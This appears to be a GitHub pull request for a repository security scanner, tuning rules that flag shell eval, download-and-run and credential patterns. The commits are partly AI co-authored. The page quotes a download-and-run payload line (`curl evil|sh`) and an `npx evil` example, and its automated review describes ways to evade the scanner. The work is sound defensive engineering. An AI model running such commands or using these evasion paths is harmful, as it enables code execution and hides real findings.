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Stacked on #875, the same way #879 was.

eval_in_shell, download_then_run_shell and hardcoded_tmp now set skip_comment_lines: true. That is the existing C4 opt-in; install_without_frozen_lockfile already uses it.

Why: in standards#936 and standards#939, every hit on a comment line was prose. They were usage examples (# e.g. … > /tmp/x), notes like # … (no eval), and payload descriptions in security-gate comments (# \x";curl evil|sh;"` would run here…`). None of them executes anything.

Measured on standards main bd9313a6 with the escript from before and after this change: 161 → 150 findings. download_then_run_shell went 7 → 2, eval_in_shell 7 → 5, hardcoded_tmp 45 → 41. What remains is real code: part is fixed in standards#1072 and standards#1075, and part is the vendored satellites (standards#940).

Tests: three regression tests, which also assert the rules still fire on real code. The full suite is 1686 tests, 0 failures. --warnings-as-errors and the format check are clean.

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hyperpolymath and others added 9 commits September 30, 2026 10:37
…merge (#869)

- pin_integrity/pr_automerge: escape the in-class `/` in three ~r/…/ sigils
  (the sigil ended at the bare slash -> MismatchedDelimiterError, #869).
- claimed_version/1: Regex.run drops trailing unmatched groups, so the
  `v`-branch never matched; take the first non-empty capture.
- relabel/2 + relabel_line/2: one contract (a `#`-led comment in and out);
  relabel_line no longer double-prefixes `##`, and a bare claim from
  pin_sites/1 normalises to `# vX`.
- pr_automerge: pin deltas are wrapped per file (flat_map over a map yielded
  tuples); the verdict carries the scan facts it was decided on; a pin-only
  change onto the denylist is rejected (close_poison_only) instead of armed;
  manifest vetoes use string keys like the rest of the manifest.
- test: the permissions-block fixture now actually edits the block.

mix compile --warnings-as-errors: clean. mix test: 1673 tests, 0 failures
(242 :verisim_data excluded as before).

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…n shell twin

Promoting the lead to " " before slicing ate the claim's first character, so
relabel("4.38.1", …) silently returned its input. Slice first, then promote.
relabel_comment in estate-pin-integrity.sh gets the same bare-input
normalisation so the two readers stay behaviourally identical.

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#832 was closed on 2026-09-27 but mise.toml still provisioned python and
denojs, so Language Policy Blockers has been red on main since. Removes the
banned runtimes, the tools only they can run (pip, black, isort, ruff,
pytest), the orphaned PYTHON* env, and the alias fallbacks that called them.

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…t, proof suites (#879)

Stacked on #875 (base `fix/issue-sweep`; GitHub retargets to `main` when
#875 merges). Merge #875 first.

## What
- **WH006** skips reusable-workflow caller jobs (job-level `uses:`),
where GitHub rejects `timeout-minutes:`. Refs standards#943.
- **`extract_job_blocks`**: the **last job of every workflow was never
checked** (in-flight job not flushed), and later jobs reported the first
job's line number. Both fixed. Expect WH006 to find a few more *true*
positives estate-wide.
- **WH013/WH002**: `git push <named non-origin remote>`
(gitlab/codeberg/backup mirrors) authenticates with its own key/token,
so it doesn't need `contents: write`. Bare, `origin` and `"$VAR"` pushes
still count. Refs standards#943.
- **ScannerSuppression**: `harvested-registry/` is exempt for
`secret_detected` only. Closes #865.
- **npx_in_workflow** message now recommends `bunx`/`bun run` (Deno
banned 2026-09-22). Refs standards#938.
- **honest_completion `no_tests`**: a proof suite whose checker runs in
CI counts as tests. Refs echo-types#271.

## Verification (local)
- `mix test`: 1682 tests, 0 failures (242 excluded)
- `mix compile --warnings-as-errors --force`: clean
- Every change has fires / does-not-fire tests.

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Every comment-line hit in standards#936/#939 was prose: usage examples,
'(no eval)' notes, and payload descriptions in security-gate comments.
The C4 opt-in already exists (skip_comment_lines); these three rules never
set it. Measured on standards main bd9313a6: 161 -> 150 findings
(download_then_run_shell 7->2, eval_in_shell 7->5, hardcoded_tmp 45->41).

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  • Bug Fixes
    • Secret findings with ambiguous labels are omitted for proof-assistant source files; other findings continue through normal handling.
    • Community-health documents in supported formats and locations now count towards repository requirements, including security policies.
    • Shell-related checks ignore comment-only lines and quoted search or display commands that mention npx.
    • Documentation link checks exclude reserved or non-public hosts and licence text.
    • Bot-gate checks account for matching pull-request author conditions, and workflow hardening checks include referenced repository-local scripts.

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The changes update secret-label filtering for proof-source files, CI/CD policy and content checks, RE008 bot-gate matching, and WH002 analysis of referenced local shell scripts.

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Secret label filtering

Layer / File(s) Summary
Proof-source label filtering
lib/hypatia/scanner_suppression.ex, lib/hypatia/cli.ex, test/scanner_suppression_test.exs
A new predicate identifies form-ambiguous secret labels for proof-source paths. The scanner excludes those labels before creating findings. Tests cover proof-source and ordinary file paths, and a non-ambiguous label.

CI/CD rule checks

Layer / File(s) Summary
Policy-file matching
lib/rules/cicd_rules.ex, lib/scorecard_ingestor.ex, test/rules/cicd_repo_requirements_test.exs, test/scorecard_ingestor_security_policy_test.exs
Repository policy checks accept .md, .markdown, .adoc, and .rst variants in the root, .github/, and docs/. Scorecard security-policy detection uses the shared predicate and checks root security.md. Tests cover accepted paths, missing policies, and a workflow file with a non-matching extension.
Content rule filtering
lib/rules/cicd_rules.ex, test/rules/cicd_rules_content_scanner_test.exs, test/npx_in_workflow_test.exs, test/http_in_docs_test.exs
The npx_in_workflow rule excludes quoted command arguments that contain npx. The eval_in_shell and download_then_run_shell rules skip comment-only lines. The http_in_docs rule excludes reserved and local hosts, requires a dotted hostname, and exempts LICENSES/ paths. Tests cover exclusions and retained findings.

RE008 bot gate

Layer / File(s) Summary
Author-pinned gate matching
lib/rules/research_extensions.ex, test/research_extensions_test.exs
RE008 suppresses a bot-comparison finding when the same line checks the matching pull-request author with && and contains no `

WH002 local scripts

Layer / File(s) Summary
Local script analysis
lib/rules/workflow_hardening.ex, test/workflow_hardening_test.exs
WH002 includes referenced .sh and .bash file contents when checking workflows with top-level contents: write permissions. It reads only regular files resolved beneath the repository root. Tests cover writing and non-writing scripts, and a path outside the repository.

Priority: ➖ Normal

Estimated code review effort: 3 (Moderate) | ~25 minutes

Change: Bug fix

Merge Risk: 🟡 Moderate · up to 57f54

The changes reduce false positives but also hide genuine credential and executable-command findings, incorrectly suppress some bot-gate warnings, and allow script reads outside the repository through symbolic links. Correct these boundaries before merging; metadata-only policy checks also need consistent format handling.

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Security architecture risk: 🟡 Moderate · up to 57f54

The changes can hide real credential assignments and unsafe workflow patterns. Repository-controlled symbolic links can also make workflow analysis read files outside the repository. The demonstrated impact is on scan integrity and local read authority; credential exfiltration or code execution has not been established.

Retained concerns

  • High · security · inferred: The new proof-source suppression trusts repository-controlled filename extensions to remove all generic API-key, secret, and password labels. A real credential assignment in an otherwise eligible .thy, .v, or literate proof-source file is discarded before finding construction. The base did not perform this rejection. Preserving distinctive token formats does not preserve generic credential coverage.
  • Medium · security · inferred: RE008 now treats an equality substring as proof of a protective PR-author constraint without interpreting expression negation. For example, github.actor == 'dependabot[bot]' && !(github.event.pull_request.user.login == 'dependabot[bot]') satisfies the suppression predicate even though it excludes that author. This newly hides an actor-gate finding; it does not establish that a particular downstream workflow is exploitable.
  • Medium · security · inferred: The added local-script reader checks an expanded path’s lexical prefix and then uses symlink-following regular-file checks and reads. A repository-contained script link, including a symlinked parent directory, can therefore direct analysis to a regular file outside the repository, subject to the scanner process’s access permissions. This expands read authority beyond the stated repository-only boundary. The read contents affect classification; direct disclosure or execution is not established.
  • Medium · security · inferred: The new quoted-prose exclusion suppresses an entire matching line rather than only its non-executable argument. Consequently, echo "documentation mentions npx" && npx evil loses the executable-command finding that the base emitted. The mixed-line regression test preserves detection only when the quoted message does not itself mention npx.
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Security Blast Radius

  • inferred — A contributor who controls scanned repository text can influence that repository’s finding set through the new exclusions. Control of referenced symbolic links additionally reaches regular files accessible to the scanner process outside the repository. Deployment-specific privileges and cross-tenant exposure remain unknown.

Security Findings and Attack Paths

  • inferred — Repository-controlled extensions, negated author expressions, and mixed prose-and-command lines can each remove findings without removing the underlying credential or executable workflow behavior. Their demonstrated outcome is a detection blind spot; downstream compromise is conditional on the scanned content and how scan results are enforced.

Trust Boundaries and Controls

  • observed — WH002’s additional reads are reached for workflows matching top-level contents-write permission. Captured shell-script paths are expanded, deduplicated, lexically confined, checked as regular files, and read into analysis text. The added reader does not execute those scripts, and the existing escape-path test covers lexical traversal rather than symbolic links.

Resilience and Maintainability Implications

  • inferred — The new script reader has no explicit size bound or per-read error handling. A large target or a target that becomes unreadable after the regular-file check can disrupt analysis. This adds a failure-containment consideration to the same repository-directed read boundary, without proving a deployment-wide availability impact.

Hardening Proposals

  • proposed — Scope suppression to the specific non-security-bearing construct: distinguish proof declarations from credential assignments, require a genuinely positive necessary author conjunct, and exclude quoted prose without excluding executable commands elsewhere on the line.
  • proposed — Use a symlink-aware, race-resistant repository-contained read policy with bounded reads. Treat inaccessible or unresolved script contents as incomplete analysis rather than evidence that narrowing permissions is safe.
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Isabelle names lemmas as `lemma inj_secret: "..."`, which is the
`secret: "..."` shape; absolute-zero OND.thy:62 was a critical
revoke_rotate_and_purge on a lemma. Only the three form-ambiguous labels
are dropped, and only in .thy/.v/.agda/.lean/.idr (+ literate) files;
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Added 15f8213: the three form-ambiguous secret labels (Generic secret / password / api key shapes) are dropped in proof-assistant sources (.thy/.v/.agda/.lean/.idr + literate). Driver: absolute-zero OND.thy:62 lemma inj_secret: "…" was reported CRITICAL. Unforgeable shapes (GitHub PAT, AKIA, PEM) still fire there. Local: 1688 tests / 0 failures; absolute-zero criticals 3 → 2 (the two survivors are real believe_me).

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== 'dependabot[bot]' is the rule's own recommended fix applied: the
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reported CRITICAL on panoply and nextgen-typing dependabot-automerge.yml.
An ORed author check, or one naming a different bot, still fires.

Local: 1690 tests / 0 failures; panoply and nextgen-typing criticals 1 -> 0.

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Added 10a0f8e: RE008 no longer fires when the same condition ANDs github.event.pull_request.user.login == '<same bot>' (and has no ||). That is the rule's own recommended fix, already applied. It was reported CRITICAL on panoply and nextgen-typing dependabot-automerge.yml. ORed author checks and mismatched bots still fire (tests added). Local: 1690 / 0; criticals on both repos 1 → 0.

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WH002 read only the workflow text, so absolute-zero wiki-sync.yml
(`run: bash scripts/wiki-sync.sh`, which does the git push) was told
"no write operation found - safe to narrow": following that advice
breaks the sync. Repo-local .sh/.bash scripts invoked from the workflow
are now included in write detection; paths outside the repo are not
followed.

The public-repo SECURITY.md requirement now accepts .adoc/.rst/.markdown
(the estate writes AsciiDoc; Scorecard accepts the same set). Non-document
requirements stay exact.

Local: 1697 tests / 0 failures; absolute-zero high 5 -> 3.

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Resolves conflicts after #875 squash-merged and #881/#882 landed:
cicd_rules hardcoded_tmp takes main's mktemp skip; workflow_hardening
keeps with_local_scripts; scanner_suppression test takes main's
fixture-based form. mix test: 1713 tests, 0 failures.

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Two more rule-precision fixes are in 81e550e. Both came from the Phase 4 local re-scans, and both were false positives that people had been answering with .hypatia-ignore.

WH002 (contents: write "no write operation found, safe to narrow"). This finding was wrong for absolute-zero's wiki-sync.yml, which runs bash scripts/wiki-sync.sh. That script does the git push that needs the grant, so following the recommended narrowing would have broken the sync. with_local_scripts/2 now appends the text of any repo-local *.sh or *.bash script the workflow invokes. It follows only regular files that exist under the repo root, so nothing outside the repo is read. Tests: describe "writes one call away (absolute-zero wiki-sync)" covers the script with a push (no finding), the script without a push (finding), and a path that escapes the root (not followed).

SECURITY policy requirement. The requirement accepted only SECURITY.md. It now accepts the .md, .markdown, .adoc and .rst variants in the root, .github/ or docs/, which are the same locations GitHub itself reads. Files that aren't policy documents still have to match exactly. The tests are in test/rules/cicd_repo_requirements_test.exs (4 tests).

Merge. 32e8b40 merges origin/main after #875 was squash-merged and #881 and #882 landed. There were three conflicts:

  • hardcoded_tmp takes main's mktemp skip.
  • with_local_scripts is kept.
  • The scanner-suppression test takes main's fixture-based form.

Local results: mix compile --warnings-as-errors is clean, mix format --check-formatted is OK, and mix test gives 1713 tests, 0 failures (242 :verisim_data tests excluded, as on main).

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Review comments at @lib/hypatia/scanner_suppression.ex:
- Around line 371-372: Update the proof-source suppression predicate in the
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##[group]Run if [ "$GITHUB_REPOSITORY" = hyperpolymath/standards ]; then
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##[group]Run if [ "$GITHUB_REPOSITORY" = hyperpolymath/standards ]; then
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##[group]Run # GitHub Actions REJECTS a workflow with duplicate keys: the run is
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##[group]Run set -uo pipefail
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##[group]Run set -uo pipefail
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GitHub Actions: Governance / 8_governance _ Security policy checks.txt: fix(rules): shell eval/download/tmp rules skip comment lines (C4)

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##[group]Run FAILED=false
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##[group]Run FAILED=false
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##[group]Run set -uo pipefail
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##[group]Run SECTXT=""
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##[group]Run SECTXT=""
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##[group]Run MIXED=$(grep -rE 'src="http://|href="http://' --include="*.html" --include="*.htm" . 2>/dev/null | grep -vE 'localhost|127\.0\.0\.1|example\.com|lol/|node_modules/|third-party/|vendor/' | head -5 || true)
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##[group]Run SCRIPT=".standards-checkout/scripts/check-ts-allowlist.sh"
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##[group]Run SCRIPT=".standards-checkout/scripts/check-ts-allowlist.sh"
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##[group]Run SCRIPT=".standards-checkout/tools/policy/check-language-policy.sh"
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test/research_extensions_test.exs (1)

545-557: LGTM!

Also applies to: 559-573

lib/rules/cicd_rules.ex (1)

689-692: LGTM!

Also applies to: 738-741

test/rules/cicd_repo_requirements_test.exs (1)

1-52: LGTM!

test/rules/cicd_rules_content_scanner_test.exs (1)

59-88: LGTM!

test/workflow_hardening_test.exs (1)

531-571: LGTM!

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check_security_policy kept its own SECURITY.md-only path list and kept
reporting absolute-zero's SECURITY.adoc as missing after the CI/CD
requirement was fixed. Expose CicdRules.policy_file_candidates/1 and
policy_file_present?/2 and delegate, so the two cannot drift.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65
hyperpolymath and others added 2 commits September 30, 2026 11:47
Placeholders (http://<SERVER_IP>), single-label docker service names
(http://julia-ml:9000), RFC 2606/6761 reserved names (*.example, .test,
.invalid, .localhost, .local, .internal) and fragments like http://+
cannot be moved to https. Verbatim licence texts under LICENSES/ are
exempt. Measured on echidna: 18 -> 13; the 13 left (mizar, ACL2, PVS links) are all public hosts.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65
The ban's own enforcer (echidna scripts/ban-npm.sh) greps for and
prints "npx"; three findings were text, not execution. A real npx
after a quoted echo on the same line still fires (tested).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65

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- Line 479: Update the skip_if_line_matches pattern and its handling in
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test/npx_in_workflow_test.exs (1)

1-43: LGTM!

test/http_in_docs_test.exs (1)

1-54: LGTM!

Comment thread lib/rules/cicd_rules.ex Outdated
- npx_in_workflow: mask only the quoted arguments of grep/echo/printf
  instead of skipping the whole line, so `echo "npx is banned" && npx foo`
  is still reported.
- RE008: accept the author-pinned gate only when a positive
  `github.event.pull_request.user.login == '<bot>'` is a required `&&`
  conjunct; negated or `||` forms keep the finding.
- secret_detected: the proof-source suppression now also requires the
  line to be a named proof fact (`lemma inj_secret: "…"`), so
  `password = "hunter2"` in a .lean/.thy file is still reported
  (end-to-end test via CLI.collect_findings).
- repo requirements: the `:files` fallback (no :repo_path) accepts the
  same markup variants as the on-disk check (SECURITY.adoc).
- WH002 script follow: resolve script references against the repo root
  and every literal `working-directory:` (step or defaults.run), refuse
  to read through a symbolic link in any component below the root, and
  never say "safe to narrow" when an in-repo script could not be read.

mix test: 1749 tests, 0 failures (242 :verisim_data excluded, as before).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65
Comment thread lib/hypatia/scanner_suppression.ex Fixed
The @doc example `lemma inj_secret: "…"` is itself the `secret: "…"`
shape, and doc strings are not comments, so Hypatia's own scan raised a
new Generic-secret warning on #883. Use a `<name>: "<prop>"` placeholder.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01QFphKkDVB9pUDSCD4bkz65

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